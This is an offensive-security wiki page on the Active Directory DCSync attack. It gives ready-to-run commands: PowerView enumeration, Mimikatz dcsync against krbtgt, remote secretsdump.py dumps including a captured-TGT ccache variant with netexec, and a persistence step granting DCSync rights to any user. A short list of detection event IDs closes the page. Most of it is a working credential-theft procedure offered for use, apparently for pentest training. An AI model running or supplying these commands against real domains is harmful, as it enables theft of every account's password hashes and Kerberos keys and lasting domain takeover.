4.5 KiB
DCSync
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DCSync
The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.
Important Notes about DCSync:
- The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
- By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
- If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text
Enumeration
Check who has these permissions using powerview:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
Exploit Locally
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Exploit Remotely
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
DCSync using a captured DC machine TGT (ccache)
In unconstrained-delegation export-mode scenarios, you may capture a Domain Controller machine TGT (e.g., DC1$@DOMAIN for krbtgt@DOMAIN). You can then use that ccache to authenticate as the DC and perform DCSync without a password.
# Generate a krb5.conf for the realm (helper)
netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
sudo tee /etc/krb5.conf < krb5.conf
# netexec helper using KRB5CCNAME
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
netexec smb <DC_FQDN> --use-kcache --ntds
# Or Impacket with Kerberos from ccache
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>
-just-dc generates 3 files:
-
one with the NTLM hashes
-
one with the the Kerberos keys
-
one with cleartext passwords from the NTDS for any accounts set with reversible encryption enabled. You can get users with reversible encryption with
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Persistence
If you are a domain admin, you can grant this permissions to any user with the help of powerview:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
Then, you can check if the user was correctly assigned the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
Mitigation
- Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
- Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
- Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
- AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner
References
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/
- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html
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